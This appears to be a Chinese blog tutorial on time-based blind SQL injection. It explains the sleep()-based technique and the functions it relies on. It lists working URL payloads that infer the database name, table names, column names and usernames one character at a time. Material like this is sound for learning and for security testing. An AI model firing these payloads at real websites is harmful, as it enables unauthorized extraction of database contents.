SQL时间盲注

知识点

1、SQL盲注概念(转载)

时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,Bool 盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些 sql 语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。

2、盲注常用函数:

left(m,n) --从左向右截取字符串m返回其前n位
substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
ascii(m) --返回字符m的ASCII码(常用于猜测库名
if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3
sleep(m)--使程序暂停m秒,之后执行程序
length(m) --返回字符串m的长度
count(column_name) --返回指定列的值的数目
 

 3、常用pyload

1.库名长度判断

?id=1' and if(length(database())>x,sleep(2),0) --+
意识是如果库名长度长于x的长度就将程序延缓2s执行(后面的--+是sql常见注释符)

2.库名的判断

?id=1' and if(ascii(substr(database(),1,1))=k,sleep(2),0) --+
此为判断第一个字母的ascii码是否为k(可以结合ascii表格用来尝试出库名)
?id=1' and if(ascii(substr(database(),2,1))=k,sleep(2),0) --+
这是查询第二个字母的ascii码值,以此可以推出库名

3.表长的判断

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘。。。。。。’ limit x,y),z,d))=e,sleep(1),0)–+
其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

4.列名的判断

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘user’ and table_schema=database() limit x,y),z,d))=....,sleep(2),1)–+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

5.爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=.....sleep(2),1)--+

总结

对于时间盲注来说,作时应先和其他sql语句一样先判断注入点之后,按套路一点一点的尝试出库名,表名,列名等敏感信息达到sql注入的攻击目的

再补充一点关于sql符号的:闭合符号,结果就是如果构成闭合,则会执行闭合后的代码,且闭合内部的代码并不会被执行

--+可以参考: sql注入中的--+注释问题探索_xiayun1995的博客-CSDN博客


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值